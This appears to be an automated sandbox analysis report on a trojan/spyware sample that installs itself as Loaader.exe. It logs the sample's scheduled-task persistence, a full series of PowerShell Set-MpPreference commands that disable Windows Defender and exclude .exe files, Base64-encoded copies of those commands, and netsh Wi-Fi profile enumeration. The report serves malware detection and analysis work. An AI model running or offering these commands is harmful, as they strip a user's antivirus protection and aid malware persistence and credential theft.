Source: 7.2.Loaader.exe.2710000.0.raw.unpack, HandleDisableDefender.cs	Base64 encoded string: 'U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgRGVmZW5kZXJcRmVhdHVyZXM=', 'U09GVFdBUkVcUG9saWNpZXNcTWljcm9zb2Z0XFdpbmRvd3MgRGVmZW5kZXI=', 'U09GVFdBUkVcUG9saWNpZXNcTWljcm9zb2Z0XFdpbmRvd3MgRGVmZW5kZXJcUmVhbC1UaW1lIFByb3RlY3Rpb24=', 'U09GVFdBUkVcUG9saWNpZXNcTWljcm9zb2Z0XFdpbmRvd3MgRGVmZW5kZXJcUmVhbC1UaW1lIFByb3RlY3Rpb24=', 'U09GVFdBUkVcUG9saWNpZXNcTWljcm9zb2Z0XFdpbmRvd3MgRGVmZW5kZXJcUmVhbC1UaW1lIFByb3RlY3Rpb24=', 'U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZVJlYWx0aW1lTW9uaXRvcmluZyAkdHJ1ZQ==', 'U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZUJlaGF2aW9yTW9uaXRvcmluZyAkdHJ1ZQ==', 'U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZUJsb2NrQXRGaXJzdFNlZW4gJHRydWU=', 'U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZUlPQVZQcm90ZWN0aW9uICR0cnVl', 'U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZVByaXZhY3lNb2RlICR0cnVl', 'U2lnbmF0dXJlRGlzYWJsZVVwZGF0ZU9uU3RhcnR1cFdpdGhvdXRFbmdpbmU=', 'U2V0LU1wUHJlZmVyZW5jZSAtU2lnbmF0dXJlRGlzYWJsZVVwZGF0ZU9uU3RhcnR1cFdpdGhvdXRFbmdpbmUgJHRydWU=', 'U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZUFyY2hpdmVTY2FubmluZyAkdHJ1ZQ==', 'U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZUludHJ1c2lvblByZXZlbnRpb25TeXN0ZW0gJHRydWU=', 'U2V0LU1wUHJlZmVyZW5jZSAtRGlzYWJsZVNjcmlwdFNjYW5uaW5nICR0cnVl', 'U2V0LU1wUHJlZmVyZW5jZSAtU3VibWl0U2FtcGxlc0NvbnNlbnQgMg==', 'U2V0LU1wUHJlZmVyZW5jZSAtSGlnaFRocmVhdERlZmF1bHRBY3Rpb24gNiAtRm9yY2U=', 'U2V0LU1wUHJlZmVyZW5jZSAtTW9kZXJhdGVUaHJlYXREZWZhdWx0QWN0aW9uIDY=', 'U2V0LU1wUHJlZmVyZW5jZSAtTG93VGhyZWF0RGVmYXVsdEFjdGlvbiA2', 'U2V0LU1wUHJlZmVyZW5jZSAtU2V2ZXJlVGhyZWF0RGVmYXVsdEFjdGlvbiA2', 'QWRkIC0gTXBQcmVmZXJlbmNlIC0gRXhjbHVzaW9uRXh0ZW5zaW9uICIuZXhlIg=='

Source: 7.2.Loaader.exe.2710000.0.raw.unpack, HandleDisableDefender.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 7.2.Loaader.exe.2710000.0.raw.unpack, HandleDisableDefender.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: Loaader.exe.0.dr, Mesth4ods.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: Loaader.exe.0.dr, Mesth4ods.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: t3h7DNer1Q.exe, Mesth4ods.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: t3h7DNer1Q.exe, Mesth4ods.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.t3h7DNer1Q.exe.322f188.1.raw.unpack, Mesth4ods.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.t3h7DNer1Q.exe.322f188.1.raw.unpack, Mesth4ods.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 7.2.Loaader.exe.2710000.0.raw.unpack, HandleDisableUAC.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 7.2.Loaader.exe.2710000.0.raw.unpack, HandleDisableUAC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: t3h7DNer1Q.exe, DInvokeCore.cs	Suspicious method names: .DInvokeCore.DynamicAPIInvoke
Source: Loaader.exe.0.dr, DInvokeCore.cs	Suspicious method names: .DInvokeCore.DynamicAPIInvoke
Source: 0.2.t3h7DNer1Q.exe.322f188.1.raw.unpack, DInvokeCore.cs	Suspicious method names: .DInvokeCore.DynamicAPIInvoke

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@76/92@4/4

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe

File created: C:\Users\user\AppData\Roaming\Loaader.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6268:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Mutant created: \Sessions\1\BaseNamedObjects\i??Fe?4?z2U?wXC6Af?fUT?6
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7884:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7628:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6644:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8280:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8112:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2860:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1880:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6232:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1312:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7816:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6620:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7776:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5448:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8032:120:WilError_03

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe

File created: C:\Users\user\AppData\Local\Temp\tmpE266.tmp

Jump to behavior

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpE266.tmp.bat""

Source: t3h7DNer1Q.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: t3h7DNer1Q.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Loaader.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmp314E.tmp.dat.7.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: t3h7DNer1Q.exe

ReversingLabs: Detection: 76%

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe

File read: C:\Users\user\Desktop\t3h7DNer1Q.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\t3h7DNer1Q.exe "C:\Users\user\Desktop\t3h7DNer1Q.exe"
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Loaader" /tr '"C:\Users\user\AppData\Roaming\Loaader.exe"' & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpE266.tmp.bat""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "Loaader" /tr '"C:\Users\user\AppData\Roaming\Loaader.exe"'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 3
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Loaader.exe C:\Users\user\AppData\Roaming\Loaader.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\Loaader.exe "C:\Users\user\AppData\Roaming\Loaader.exe"
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" Get-MpPreference -verbose
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add - MpPreference - ExclusionExtension ".exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr All
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Loaader" /tr '"C:\Users\user\AppData\Roaming\Loaader.exe"' & exit	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpE266.tmp.bat""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "Loaader" /tr '"C:\Users\user\AppData\Roaming\Loaader.exe"'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 3	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\Loaader.exe "C:\Users\user\AppData\Roaming\Loaader.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" Get-MpPreference -verbose	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add - MpPreference - ExclusionExtension ".exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid

Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\t3h7DNer1Q.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Loaader.exe	Section loaded: schannel.dll	Jump to behavior
